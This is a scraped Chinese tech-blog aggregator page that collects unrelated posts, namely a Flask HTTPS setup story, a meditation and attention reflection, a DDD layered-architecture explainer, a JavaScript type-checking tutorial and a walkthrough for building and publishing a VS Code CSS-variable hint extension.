其实,这两种观点都有一定的道理,但都存在一些片面性。首先,互联网行业的发展速度确实非常快,但并不是所有的技术和知识都需要不断更新。有些技术和知识是基础性的,比如网络协议、操作系统和编程语言等,这些知识和技术是不会过时的,只需要不断地深入学习和理解即可。其次,年龄并不是决定能否在互联网行业工作的唯一因素。虽然年轻人可能更有优势,但是经验和专业知识的积累也是非常重要的因素。一些互联网公司的老员工也能够在公司中立足,就是因为他们有着丰富的经验和专业知识。

那么,如何判断自己还能在互联网行业干多久呢?其实,这取决于个人的情况和选择。首先,需要对自己的技能和知识进行评估。看看自己是否具备了基础性的技能和知识,是否能够跟上行业发展的速度。其次,需要对自己的职业规划和发展方向进行思考。看看自己是否对这个行业充满热情和兴趣,是否愿意在这个行业中长期发展。最后,需要对自己的身体和心理状况进行评估。看看自己是否能够承受高强度的工作压力和长时间的加班。

总之,在互联网行业中工作多久取决于个人的情况和选择。只要具备了基础性的技能和知识,有明确的职业规划和发展方向,并且能够承受高强度的工作压力和长时间的加班,就可以在这个行业中长久地发展下去。

源文地址:https://www.hsor.cn/AC/mbefc-1828.html

收起阅读 »

你的flask服务开启https了吗?

一、你的flask服务开启https了吗? 1.事件起因 计划做文心一言插件,我购买了服务器,开始按照我的想象部署插件,结果工作不错,但是最后一步图片显示不正常。哭晕了,如下图所示。 仔细阅读,发现返回图片地址什么的都很正常啊,也可以访问得到,但是为什么就不...
继续阅读 »

一、你的flask服务开启https了吗?


1.事件起因


计划做文心一言插件,我购买了服务器,开始按照我的想象部署插件,结果工作不错,但是最后一步图片显示不正常。哭晕了,如下图所示。


e3dde086617a68f9a585f78f8bfdc20.png
仔细阅读,发现返回图片地址什么的都很正常啊,也可以访问得到,但是为什么就不能看到呢,很奇怪。


经多方排查,最终确定是图片跨域导致无法显示。


2.解决思路


知道是跨域问题就好了,因为文心一言是https访问,所以提供服务的也需要https,那么就开始作了(解决)。


二、解决办法


1.无效1.0解决办法


知道要https那我就加https了,直接百度解决办法。



  • Flask(更具体地说其实是Werkzeug),支持使用即时证书,这对于通过HTTPS快速提供应用程序非常有用,而且不会搞乱系统的证书。你只有需要做的就是将 ssl_context ='adhoc' 添加到程序的 app.run() 调用中。遗憾的是,Flask CLI无法使用此选项。举个例子,下面是官方文档中的“Hello,World” Flask应用程序,并添加了TLS加密:

  • 安装库 pip install pyopenssl


from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run(ssl_context='adhoc')


这样启动起来就是https了,但是访问问题依旧,图片仍然没有显示。。。。。。仔细看来浏览器说是假的ssl,那就继续解决。


2.无效2.0自签名证书解决办法


所谓的自签名证书是使用与同一证书关联的私钥生成签名的证书,就是自己动手丰衣足食。


微信截图_20231126163515.png



  • 生成证书

  • flask加载证书


openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run(ssl_context=('cert.pem', 'key.pem'))
复制代码

然后看结果,依然无效,因为是自签名。。。。。。


3.0终极解决办法


后来发现要真正的证书,那么你必须要有域名,才会发给你,就是说证书和域名是绑定的,就跟户籍一样,户籍都没有说什么学区房,没人理你。



  • 为此我花了8块买了一个cn一年的域名,并且进行了实名。

  • 在腾讯云申请ssl证书,参考地址 cloud.tencent.com/document/pr…

  • 申请地址 console.cloud.tencent.com/ssl
    申请时必须先证明该证书属于你,需要按提示加入cname,进行验证。申请完毕略等一会就会通过,下载证书即可,具体包含以下几个问题件:


微信截图_20231126164111.png



  • 加载证书
    因为有4个文件,没有详细写,因此我测试了几次,最终成功。


if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', ssl_context=( 'erniebotplugins.cn_bundle.crt','erniebotplugins.cn.key'), port=8081)

三、最终效果


用上最终大招后,最终成功,具体效果如下。


微信截图_20231126164250.png


可见现在ssl非常普遍,不安全别的网站都懒得搭理你。


作者:Livingbody
来源:juejin.cn/post/7305235970285568011
收起阅读 »

《十分钟冥想》和《注意力:专注的科学与训练》

最近看了两本关于注意力的书籍《十分钟冥想》和《注意力:专注的科学与训练》,前者是关于冥想训练很不错的一本书,后者则是对注意原理的剖析和训练实践,虽然仅仅只有后三章是关于实践的,但是我觉得也不错。 读完之后,我想把我觉得最打动我的地方分享出来,应该对大家也有启发...
继续阅读 »

最近看了两本关于注意力的书籍《十分钟冥想》和《注意力:专注的科学与训练》,前者是关于冥想训练很不错的一本书,后者则是对注意原理的剖析和训练实践,虽然仅仅只有后三章是关于实践的,但是我觉得也不错。


读完之后,我想把我觉得最打动我的地方分享出来,应该对大家也有启发。先前朋友问过我一个问题,他说我每天工作的时候能集中注意的时间大概是多久,我说大概只有三个小时,当我细细的考虑这个问题时,真的觉得是有些恐怖的,你想我每天可是工作超过 12 小时,但是不得不承认的是,专注的时间确实很少,会经常性地被打断,所以我也在思考,这对我来说,或者我的注意力来说,是不是有点儿问题呢?而且我走神确实挺严重的,我会经常陷入思考,虽然它没有到影响生活的程度,但是我觉得需要调节下注意力,所以我一直在为注意力主题相关的阅读划时间。说多了,进入正题吧:


大家有没有过这样的想法:觉得自己的大脑不应该胡思乱想什么东西,或者它始终都应该是专注的,但是实际上,大脑就是思绪纷飞的,每个人都是。书中讲到了一个观点,我觉得超级贴切,思绪就像是马路上行驶的汽车,而你坐在路边,车子有不同的颜色和不同的尺寸,有时你会被汽车的声音吸引,而有时又会被它们的外饰吸引,你可能会随着它们跑起来,当你跑起来的时候,这就是分神的过程,甚至有时候你会跑到马路中间去指挥交通,但是实际上你并不能阻止想法的出现,它们的出现都是自发的,有时候你在随车跑动时,会意识到自己在做什么,就在此时,你又重新回到路边坐下来,也就是所谓的回过神来了,当你明白了这个,慢慢地不再频繁地跑到路上,而是越来越安心的坐在路边,观察想法的来去时,你的专注程度就变得更好了,所以当发现自己分神时,耐心地,轻轻地提醒下自己,把注意力再拉回来就好,不必有其他的负面想法,这很正常。我们的心其实就像是一片澄澈湛蓝的天空,有时候会被阴云笼罩,我们会想将它们赶走,但是这可能会带来更多纷扰,所谓被压制的,必将再浮上来,其实我们可以搬把椅子,坐看云卷云舒,蓝色的天空会穿过阴云展露出来,当我们不过分的执着于那些阴云时,它会显露的更快,重要的是:无论生活中发生什么事,要相信心中始终都有一份安全和安定。


如果大家想有意识的训练下注意力的话,可以专注在生活中一些事情的细节上,保持足够的好奇心和训练注意力的目标,它们可以是刷牙,刷碗或者做饭等等,观察牙膏的颜色,体会牙膏的味道或者刷碗的泡沫,什么都可以,只要它有你能够专注的点,也可以说成是认真的有意识的去做生活中的每一件小事。书中解释了茶道为什么能够修身养性,在泡茶的各个阶段,投入注意,不管是多么简单的步骤,都耐心地去做,我也确实认可,因为泡茶很厉害的人摆弄那一套茶具就足够“麻烦”了,一般摆弄这些的人确实挺大师的...


最后就是关于日常事务的处理,要善于对它们进行拆分,细化,分成多个小任务,不断地在小的时间范围内保持专注,这让我想到了番茄钟工作法,拆分任务由大化小确实是很不错的一个方法,建议大家在生活和工作中实践。


注意力就像是一头野兽,我们不能强制它,而是要学会驯服它,它也有和我们本身互相牵扯或者说互相理解的一个过程,不要强迫自己,对自己保有耐心。更加的专注我觉得意味着活在当下,享受此刻,它带来的是一份心神的安定,让我们能够回到他人身边,更好的感受生活,最后,就用其中我喜欢的一句话来结尾吧,“在欲念和动荡的世界中冥思得到的精神力量就像火中盛开的莲花,不可摧毁”。


大家周末快乐,早些休息。


作者:方圆想当图灵
来源:juejin.cn/post/7304997932444942345
收起阅读 »

新项目,不妨采用这种架构分层,很优雅!

大家好,我是飘渺。今天继续更新DDD&微服务的系列文章。 在专栏开篇提到过DDD(Domain-Driven Design,领域驱动设计)学习起来较为复杂,一方面因为其自身涉及的概念颇多,另一方面,我们往往缺乏实战经验和明确的代码模型指导。今天,我们将...
继续阅读 »

大家好,我是飘渺。今天继续更新DDD&微服务的系列文章。


在专栏开篇提到过DDD(Domain-Driven Design,领域驱动设计)学习起来较为复杂,一方面因为其自身涉及的概念颇多,另一方面,我们往往缺乏实战经验和明确的代码模型指导。今天,我们将专注于DDD的分层架构和实体模型,期望为大家落地DDD提供一些有益的参考。首先,让我们回顾一下熟悉的MVC三层架构。


1. MVC 架构


在传统应用程序中,我们通常采用经典的MVC(Model-View-Controller)架构进行开发,它将整体的系统分成了 Model(模型),View(视图)和 Controller(控制器)三个层次,也就是将用户视图和业务处理隔离开,并且通过控制器连接起来,很好地实现了表现和逻辑的解耦,是一种标准的软件分层架构。


在遵循此分层架构的开发过程中,我们通常会建立三个Maven Module:Controller、Service 和 Dao,它们分别对应表现层、逻辑层和数据访问层,如下图所示:


image-20230602123152660


(图中多画了一个Model层是因为 Model 通常只是简单的 Java Bean,只包含数据库表对应的属性。有的应用会将其单独抽取出来作为一个Maven Module,但实际上它可以合并到 DAO 层。)


1.1 MVC架构模型的不足


在业务逻辑较为简单的应用中,MVC三层架构是一种简洁高效的开发模式。然而,随着业务逻辑的复杂性增加和代码量的增加,MVC架构可能会显得捉襟见肘。其主要的不足可以总结如下:



  • Service层职责过重:在MVC架构中,Service层常常被赋予处理复杂业务逻辑的任务。随着业务逻辑的增长,Service层可能变得臃肿和复杂。业务逻辑有可能分散在各个Service类中,使得业务逻辑的组织和维护成为一项挑战。

  • 过于关注数据库而忽视领域建模:虽然MVC的设计初衷是对数据、用户界面和控制逻辑进行分离,但它在面对复杂业务场景时并未给予领域建模足够的重视。这可能导致代码难以理解和扩展,因为代码更像是围绕数据库而不是业务需求进行设计。

  • 边界划分不明确:在MVC架构中,顶层设计上的边界划分并没有明确的规则,往往依赖于技术负责人的经验。在大规模的团队协作中,这可能导致职责不清晰、分工不明确等问题。

  • 单元测试困难:在MVC架构中,Service层通常以事务脚本的方式进行开发,并且往往耦合了各种中间件操作,如数据库、缓存、消息队列等。这种耦合使得单元测试变得困难,因为要在没有这些中间件的情况下运行测试可能需要大量的模拟或存根代码。


在深入探讨MVC架构之后,我们将进入今天的主题:DDD的分层架构模型。


2. DDD的架构模型


在DDD中,通常将应用程序分为四个层次,分别为用户接口层(Interface Layer)应用层(Application Layer)领域层(Domain Layer)基础设施层(Infrastructure Layer),每个层次承担着各自的职责和作用。分层模型如下图所示:


image.png



  1. 接口层(Interface Layer):负责处理与外部系统的交互,包括UI、Web API、RPC接口等。它会接收用户或外部系统的请求,然后调用应用层的服务来处理这些请求,最后将处理结果返回给用户或外部系统。

  2. 应用层(Application Layer):承担协调领域层和基础设施层的职责,实现具体的业务逻辑。它调用领域层的领域服务和基础设施层的基础服务,完成业务逻辑的实现。

  3. 领域层(Domain Layer):该层包含了业务领域的所有元素,如实体、值对象、领域服务、聚合、工厂和领域事件等。这一层的主要职责是实现业务领域的核心逻辑。

  4. 基础设施层(Infrastructure Layer):主要提供通用的技术能力,如数据持久化、缓存、消息传输等基础设施服务。它可被其他三层调用,提供各种必要的技术服务。


在这四层中,调用关系通常是单向依赖的,即上层依赖下层,下层并不依赖上层。例如,接口层依赖应用层,应用层依赖领域层,领域层依赖基础设施层。但值得注意的是,尽管基础设施层在物理结构上可能位于最底层,但在DDD的分层模型中,它位于最外层,为内部各层提供技术服务。


image-20230604220949124


2.1 依赖反转原则


依赖反转原则(Dependency Inversion Principle, DIP)是一种有效的设计原则,有助于减小模块间的耦合度,提高系统的扩展性和可维护性。依赖反转原则的核心思想是:高层模块不应直接依赖低层模块,它们都应该依赖抽象。抽象不应该依赖具体的实现,而具体的实现应当依赖于抽象。


在 DDD 的四层架构中,领域层是核心,是业务的抽象化,不应直接依赖其他任何层。这意味着领域层的业务对象应该与其他层(如基础设施层)解耦,而不是直接依赖于具体的数据库访问技术、消息队列技术等。但在实际运行时,领域层的对象需要通过基础设施层来实现数据的持久化、消息的发送等。


为了解决这个问题,我们可以使用依赖翻转原则。在领域层,我们定义一些接口(如仓储接口),用于声明领域对象需要的服务,具体的实现则由基础设施层完成。在基础设施层,我们实现这些接口,并将实现类注入到领域层的对象中。这样,领域层的对象就可以通过这些接口与基础设施层进行交互,而不需要直接依赖于基础设施层。


2.2 DDD四层架构的优势


在复杂的业务场景下,采用DDD的四层架构模型可以有效地解决使用MVC架构可能出现的问题:



  1. 职责分离:在DDD的设计中,我们尝试将业务逻辑封装到领域对象(如实体、值对象和领域服务)中。这样可以降低应用层(原MVC中的Service层)的复杂性,同时使得业务逻辑更加集中和清晰,易于维护和扩展。

  2. 领域建模:DDD的核心理念在于通过建立富有内涵的领域模型来更真实地反映业务需求和业务规则,从而提高代码的灵活性,使其更容易适应业务的变化。

  3. 明确的边界划分:DDD通过边界上下文(Bounded Context)的概念,对系统进行明确的边界划分。每个边界上下文都有自己的领域模型和业务逻辑,使得大规模团队协作更加清晰、高效。

  4. 易于测试:由于业务逻辑封装在领域对象中,我们可以直接对这些领域对象进行单元测试。同时,基础设施层(如数据库、缓存和消息队列)被抽象为接口,我们可以使用模拟对象(Mock Object)进行测试,避免了直接与真实中间件的交互,大大提升了测试的灵活性和便利性。


接下来看看如何在代码中遵循DDD的分层架构。


3. 如何实现DDD分层架构


为了遵循DDD的分层架构,在代码实现时有两种实现方法。


第一种是在模块中通过包进行隔离,即在模块中建立4个不同的代码包,分别对应领域层(Domain Layer)、应用层(Application Layer)、基础设施层(Infrastructure Layer)和用户接口层(User Interface Layer)。这种方法的优点是结构简单,易于理解和维护。但缺点是各层之间的依赖关系可能不够明确,容易导致代码耦合。


image.png


第二种实现方法是建立4个不同的Maven Module层,每个Module分别对应领域层、应用层、基础设施层和用户接口层。这种方法的优点是各层之间的依赖关系更加明确,有利于降低耦合度和提高代码的可重用性。同时,这种方法也有助于团队成员更好地理解和遵循DDD的分层架构。然而,这种方法可能会导致项目结构变得复杂,增加了项目的维护成本。


image.png


在实际项目中,可以根据项目规模、团队成员的熟悉程度以及项目需求来选择合适的实现方法。对于较小规模的项目,可以采用第一种方法,通过包进行隔离。而对于较大规模的项目,建议采用第二种方法,使用Maven Module层进行隔离,以便更好地管理和维护代码。无论采用哪种方法,关键在于确保各层之间的职责分明,遵循DDD的原则和最佳实践。


在DailyMart项目中,我最初打算采用第一种方法,通过包进行隔离。然而,在微信群中进行投票后,发现近90%的人选择了第二种方法。作为一个倾听粉丝意见的博主,我决定采纳大家的建议。因此,DailyMart将采用Maven Module层隔离的方式进行编码实践。
image.png


4. DDD中的数据模型


在DDD中,我们采用特定的模型来映射和处理不同的领域概念和责任,常见的有三种数据模型:实体对象(Entity)、数据对象(Data Object,DO)和数据传输对象(Data Transfer Object,DTO)。这些模型在DDD中有着明确的角色和使用场景:



  • Entity(实体对象): 实体对象代表业务领域中的核心概念,其字段和方法应与业务语言保持一致,与持久化方式无关。这意味着实体和数据对象可能具有完全不同的字段命名、字段类型,甚至嵌套关系。实体的生命周期应仅存在于内存中,无需可序列化和可持久化。

  • Data Object (DO、数据对象): DO可能是我们在日常工作中最常见的数据模型。在DDD规范中,数据对象不能包含业务逻辑,并且位于基础设施层,仅负责与数据库进行交互,通常与数据库的物理表一一对应。

  • DTO(数据传输对象): 数据传输对象主要用作接口层和应用层之间传递数据,例如CQRS模式中的命令(Command)、查询(Query)、事件(Event)以及请求(Request)和响应(Response)。DTO的重要性在于它能够适配不同的业务场景需要的参数,从而避免业务对象变成庞大而复杂的"万能"对象。


在DDD中,这三种数据对象在很多场景下需要相互转换,例如:




  1. Entity <-> DTO:在应用层返回数据时,需要将实体对象转换成DTO,这一般通过一个名为DTO Assembler的转换器来完成。




  2. Entity <-> DO:在基础设施层的Repository实现时,我们需要将实体转换为DO以存储到数据库。同样地,查询数据时需要将DO转换回实体。这通常通过一个名为Data Converter的转换器来完成。




当然,不管是Entity转DTO,还是Entity转DO,都会有一定的开销,无论是代码量还是运行时的操作来看。手写转换代码容易出错,而使用反射技术虽然可以减少代码量,但可能会导致显著的性能损耗。这里给用Java的同学推荐MapStruct这个库,MapStruct在编译时生成代码,只需通过接口定义和注解配置就能生成相应的代码。由于生成的代码是直接赋值,所以性能损耗可以忽略不计。


image.png



在SpringBoot老鸟系列中我推荐大家使用 Orika 进行对象转换,理由是只需要编写少量代码。但是在DDD中不同对象都有严格的代码层级,并且一般会引入专门的Assembler和Converter转换器,既然代码量省不了,必然要选择性能最高的组件。


各种转换器的性能对比:Performance of Java Mapping Frameworks | Baeldung



5. 小结


本篇文章详细介绍了DDD的分层架构,并详细解释了如何在项目代码中实现这种分层架构。同时,还详细DDD中三种常用的数据对象:数据对象(DO)、实体(Entity)和数据传输对象(DTO)。这三种数据对象的区别可以通过下图进行精炼总结:


image-20230523220725247


至此,我们已经深入解析了DDD中的核心概念。同时,我们的DailyMart商城系统已完成所有的前期准备,现在已经准备好进入实际的编码阶段。在接下来的章节中,我们将从实现注册流程开始,逐步探索如何在实际项目中应用DDD。


作者:飘渺Jam
来源:juejin.cn/post/7242129428511113272
收起阅读 »

全方位了解 JavaScript 类型判断

web
JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeof、instanceof 和 Object.prototype.toString()。这些方法各有...
继续阅读 »

JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeofinstanceofObject.prototype.toString()。这些方法各有特点,通过详细的解释,让我们更好地理解它们的用法和限制。


JS 类型判断详解:typeof、instanceof 和 Object.prototype.toString()


1. typeof


1.1 准确判断原始类型


typeof 是一种用于检测变量类型的操作符。它可以准确地判断除 null 之外的所有原始类型,包括 undefinedbooleannumberstringsymbol。(js中还有一种类型叫“大整型”)


console.log(typeof undefined); // 输出: "undefined"
console.log(typeof true); // 输出: "boolean"
console.log(typeof 42); // 输出: "number"
console.log(typeof "hello"); // 输出: "string"
console.log(typeof Symbol()); // 输出: "symbol"

1.2 判断函数


typeof 还可以用于判断函数类型。


function exampleFunction() {}
console.log(typeof exampleFunction); // 输出: "function"

解释说明: 注意,typeof 能够区分函数和其他对象类型,这在某些场景下是非常有用的。


2. instanceof


2.1 只能判断引用类型


instanceof 运算符用于判断一个对象是否是某个构造函数的实例。它只能判断引用类型。


const arr = [1, 2, 3];
console.log(arr instanceof Array); // 输出: true

2.2 通过原型链查找


instanceof 的判断是通过原型链的查找实现的。(原型链详解移步 => juejin.cn/post/730493… )如果对象的原型链中包含指定构造函数的原型,那么就返回 true


function Animal() {}
function Dog() {}

Dog.prototype = new Animal();

const myDog = new Dog();
console.log(myDog instanceof Dog); // 输出: true
console.log(myDog instanceof Animal); // 输出: true

解释说明: instanceof 通过检查对象的原型链是否包含指定构造函数的原型来判断实例关系。


3. Object.prototype.toString()


3.1 调用步骤


Object.prototype.toString() 方法用于返回对象的字符串表示。当调用该方法时,将执行以下步骤:



  1. 如果 this 值为 undefined,则返回字符串 "[object Undefined]"。

  2. 如果 this 值为 null,则返回字符串 "[object Null]"。

  3. this 转换成对象(如果是原始类型,会调用 ToObject 将其转换成对象)。

  4. 获取对象的 [[Class]] 内部属性的值。

  5. 返回连接的字符串 "[Object"、[[Class]]、"]"。


console.log(Object.prototype.toString.call(undefined)); // 输出: "[object Undefined]"
console.log(Object.prototype.toString.call(null)); // 输出: "[object Null]"

console.log(Object.prototype.toString.call(42)); // 输出: "[object Number]"
console.log(Object.prototype.toString.call("hello")); // 输出: "[object String]"

console.log(Object.prototype.toString.call([])); // 输出: "[object Array]"
console.log(Object.prototype.toString.call({})); // 输出: "[object Object]"

function CustomType() {}
console.log(Object.prototype.toString.call(new CustomType())); // 输出: "[object Object]"

解释说明: Object.prototype.toString() 是一种通用且强大的类型检测方法,可以适用于所有值,包括原始类型和引用类型。


结语


了解 typeofinstanceofObject.prototype.toString() 的使用场景和限制有助于我们更加灵活地进行类型检测,提高代码的可读性和健壮性。选择合适的方法取决于具体的情境和需求,合理使用这些方法将使你的 JavaScript 代码更加优雅和可维护。


作者:skyfker
来源:juejin.cn/post/7305348040209629220
收起阅读 »

实现一个自己的vscode插件到发布

web
前言 本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学 文章最后又github地址 说在前面的话: 在看内容之前,确保你想了解如何开发一款 vscode 插件 内容以大白文教学形式输出,如果写的不清...
继续阅读 »

前言



本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学


文章最后又github地址



说在前面的话:



  1. 在看内容之前,确保你想了解如何开发一款 vscode 插件

  2. 内容以大白文教学形式输出,如果写的不清晰的地方,欢迎留言告诉我,这会帮助我理解到各位的痛点

  3. 看一万遍不如自己写一遍

  4. 学会这个思路,可以尝试去给开源的 UI 组件写提示插件,做出一些开源贡献

  5. 以上看完之后,请带着思考去看下面内容


一、为什么要做这个 vscode 插件🤔


为我们公司自己而用


在之前,我问到我们 UI设计师 老师,


我: 能给我一些我们的颜色的设计资源吗?


UI: 可以呀


然后就给了我一些主题色,辅色,然后线条色等等。


OK,当我拿到之后,对于颜色我们前端创建了一个 vars.scss 的文件夹,用于定义一些变量,大致是这样:


:root {
--tsl-doc-white: #fff;
// 文字色
--tsl-doc-gray-1: #e2e5e8;
--tsl-doc-gray-2: #d2d5d8;
--tsl-doc-gray-3: #b6babf;
--tsl-doc-gray-4: #afb2b7;
--tsl-doc-gray-5: #999b9f;
--tsl-doc-gray-6: #66686c;
--tsl-doc-gray-7: #3c3d3f;
}


使用 color: var(--tsl-doc-white) ,就达到目的,其实就是 css 变量,没什么的,当我们做完一系列之后,发现有个痛点~~


妈的(骂骂咧咧),这个颜色我起的名字是什么,笑死🤣,根本记不住,然后就导致了开发人员是一种什么情况,一边看变量文件一边写,我寻思,还不如直接写颜色来的快这样。


所以啊,所以,我在思考之后,我就想起,我一直在下一些提示插件,那么别人是如何实现的?


突然,我是不是也可以做一个,这样我们就可以避免这种问题了。于是就开始了我的插件开发之路。


二、如何实现一个 vscode 插件🖥️


2.1 一些或许有点用的文档资源


【vscode 官方文档】:Your First Extension | Visual Studio Code Extension API


【VS Code插件创作中文开发文档】: 你的第一个插件 - VS Code插件创作中文开发文档


2.2 需要提前准备的环境


Node环境: 大于16,主要使用 npm


安装一些脚手架(给我装就完了):


npm install -g yo generator-code

执行命令 yo code ,过一会儿就会看到下面这段话


# ? What type of extension do you want to create? New Extension (TypeScript)
# ? What's the name of your extension? HelloWorld
### Press to choose default for all options below ###

# ? What'
s the identifier of your extension? helloworld
# ? What's the description of your extension? LEAVE BLANK
# ? Enable stricter TypeScript checking in '
tsconfig.json'? Yes
# ? Setup linting using '
tslint'? Yes
# ? Initialize a git repository? Yes
# ? Which package manager to use? npm

code ./helloworld

细节的一些可以看官方,有视频,😏,当你已经能成功输出 Hello World 然后,在回来看我这里


2.3 分析需求


明确知道自己要做什么:



  1. 输入我们指定的 tsl、--tsl 这些是不是要出现提示呀,告知我们可以选择哪些

  2. 鼠标放到 --tsl-doc-white 显式出对应的变量,不要觉得自己能记住了


就两个效果,明白之后我们就开始进行配置和 Coding


2.4 实现 variable-prompt


配置


主要还是 package.json 进行配置,先看我的这份:


{
"name": "variable-prompt",
"displayName": "variable-prompt",
"icon": "src/assets/tsl-logo.png", # 插件的图标就是这里来的
"description": "css variable prompt",# 描述插件的用途
"version": "1.0.0",
"publisher": "sakanaovo",
"engines": {
"vscode": "^1.56.0" # 这里要和 types/vscode 同步一下
},
"categories": [
"Other"
],
"main": "./extension.js",
"contributes": {},
# activationEvents 激活事件,这里配置了以下这些文件激活
"activationEvents": [
"onLanguage:vue",
"onLanguage:javascript",
"onLanguage:typescript",
"onLanguage:javascriptreact",
"onLanguage:typescriptreact",
"onLanguage:scss",
"onLanguage:css",
"onLanguage:less"
],
"scripts": {
"lint": "eslint .",
"pretest": "npm run lint",
"build": "vsce package", # 打包命令
"test": "node ./test/runTest.js"
},
"devDependencies": {
"@types/vscode": "^1.56.0",
"@types/glob": "^8.1.0",
"@types/mocha": "^10.0.1",
"@types/node": "20.2.5",
"eslint": "^8.41.0",
"vsce": "^2.13.0", # 打包 后面会介绍
"glob": "^8.1.0",
"mocha": "^10.2.0",
"typescript": "^5.1.3",
"@vscode/test-electron": "^2.3.2"
}
}

这里看完了教帮助大家记忆训练


window高玩 :Ctrl + CCtrl + V


mac高玩:Cmd + CCmd + V


编码




  1. 创建 src/helper.jssrc/variableMap.js


    image-20230804133618857.png




  2. 清空根目录 extension.js 代码


    function activate(context) {
    console.log("启动成功");

    }

    // This method is called when your extension is deactivated
    function deactivate() {}

    module.exports = {
    activate,
    deactivate,
    };


    按下 F5 ,就可以启动容器,好的,那我们是不是想看这个 console 日志在哪儿,有两种



    • 第一种,在你开发插件vscode中查看调试控制台,一般在vscode左侧,找不到或者就 Ctrl+Shift+Y 就可以看是否打印

    • 第二种,在你启动的容器中,按 Ctrl+Shift+I ,也可以打开一个控制台,并查看你的日志信息,这是因为 vscode 是用 Electron 开发的,Electron 也是这样查看调试




  3. 实现 Hover 效果


    src/helper.js 中我们简单实现鼠标放上去就显式悬停效果


    const vscode = require("vscode");

    function provideHover(document, position, token) {
    // 获取鼠标位置的单词
    const word = document.getText(document.getWordRangeAtPosition(position));

    // 创建悬停内容
    const hoverText = `这是一个悬停示例,你鼠标放上去的单词是:${word}`;
    const hover = new vscode.Hover(hoverText);

    return hover;
    }

    module.exports = {
    provideHover
    };

    src/extension.js 中我们注入一下


    const vscode = require("vscode");
    const { provideHover } = require("./src/helper.js");
    // 添加一些文件类型
    const files = [
    "javascript",
    "typescript",
    "javascriptreact",
    "typescriptreact",
    "vue",
    "scss",
    "less",
    "css",
    "sass",
    ];

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    }

    然后 F5 ,如果你已经启动过会有这个小标记,如下图:


    image-20230804135238225.png


    那我们点击一下框住的这个刷新按钮,然后在容器中调试一下,随便写下一段代码,下图是一个展示效果:


    image-20230804135427582.png


    OK,到这里,我们就实现了悬停了效果




  4. variableMap.js 完善一下映射规则


    大致如下:


    // 这个文件是 变量映射表 --tsl-color:#fa8c16
    const variableMap = {
    // 用于存放变量的映射关系
    "--tsl-primary-color": "#33c88e",
    "--tsl-doc-white": "#ffffff",
    "--tsl-doc-gray-1": "#e2e5e8",
    "--tsl-doc-gray-2": "#d2d5d8",
    "--tsl-doc-gray-3": "#b6babf",
    "--tsl-doc-gray-4": "#afb2b7",
    "--tsl-doc-gray-5": "#999b9f",
    "--tsl-doc-gray-6": "#66686c",
    "--tsl-doc-gray-7": "#3c3d3f",
    "--tsl-bg-gray-1": "#f2f4f4",
    "--tsl-warn-color": "#ff6813",
    "--tsl-accent-color": "#f9ba41",
    "--tsl-disabled-color-1": "#edfff8",
    "--tsl-disabled-color-2": "#b4e7d2",
    "--tsl-disabled-color-3": "#9eedcc",
    };

    module.exports = variableMap;


    非常简单,就是把我们的定义的一些,在这里写好就行




  5. 根据 variableMap.js 实现触发提示


    src/helper.js 中我们实现 provideCompletionItems


    const VARIABLE_RE = /--tsl(?:[\w-]+)?/;

    function provideCompletionItems(document, position) {
    const lineText = document.lineAt(position.line).text;

    const match = lineText.match(VARIABLE_RE);
    if (
    lineText.includes("tsl") ||
    match ||
    lineText.includes("--tsl") ||
    lineText.includes("t")
    ) {
    // 拿到 variableMap 中的所有变量
    const variables = Object.keys(variableMap);
    const completionItems = variables.map((variable) => {
    const item = new vscode.CompletionItem(variable);
    const color = variableMap[variable];
    item.detail = color;
    // 给detail 添加注释
    const formattedDetail = `这是一个颜色变量,值为 ${color}`;
    // 创建一个 MarkdownString
    const markdownString = new vscode.MarkdownString();
    // 添加普通文本和代码块
    markdownString.appendText(formattedDetail);
    // 将注释转换为 markdown 格式
    item.documentation = markdownString;
    item.kind = vscode.CompletionItemKind.Variable;
    return item;
    });
    return completionItems;
    }
    return [];
    }

    module.exports = {
    provideHover,
    provideCompletionItems,
    };


    src/extension.js 中我们注入一下


    const { provideHover, provideCompletionItems } = require("./src/helper.js");

    function activate(context) {
    console.log("启动成功");

    context.subscriptions.push(
    vscode.languages.registerHoverProvider(files, {
    provideHover,
    })
    );
    // 注入的提示
    context.subscriptions.push(
    vscode.languages.registerCompletionItemProvider(files, {
    provideCompletionItems,
    })
    );
    }

    刷新,和上面操作一样,然后我们输入 tsl 就会出现这样的一个效果,如下图:


    image-20230804140502999.png


    为了让能有点颜色看看我们需要小小的改造一下下,在 provideCompletionItems 中,把 kind 设置为 Color ,修改成这样:


    item.kind = vscode.CompletionItemKind.Color ,然后我们刷新启动看看效果:


    image-20230804141025071.png


    这样我们就实现了带颜色提示




  6. 改造我们的 Hover 效果


    src/helper.js 中我们把 provideHover 改成这样:


    function provideHover(document, position) {
    const lineText = document.lineAt(position.line).text;
    const regex = /--[\w-]+/g;
    const match = lineText.match(regex);
    const word = match[0];
    if (match.length > 0 && word.includes("--tsl")) {
    const completeVariable = match.find((variable) => variable.includes(word));
    const hoverText = variableMap[completeVariable];
    if (hoverText) {
    return new vscode.Hover(hoverText);
    }
    }
    }

    最终效果就是我们鼠标放在对应的变量上会告诉我们对应的16进制值是什么,效果如下:


    image-20230804143637675.png




好了,到这里,我们就已经完全实现了,我们可以运行 npm run build 然后选择 y 就可以生成一个 variable-prompt-1.0.0.vsix 文件


三、如何发布🎉


我只教你手动上传,因为我也是手动上传,自动挡还没学会。


访问这个: Manage Extensions | Visual Studio Marketplace 去掉地址最后的 sakanaovo 然后输入你自己的 publisher


选择这个 vscode 插件


image-20230804150207072.png


然后 variable-prompt-1.0.0.vsix 文件拖进去完毕


当然,如果你不想发布你可以选择在拓展中通过下图这种方式安装:


image-20230804151354242.png


四、结语💯


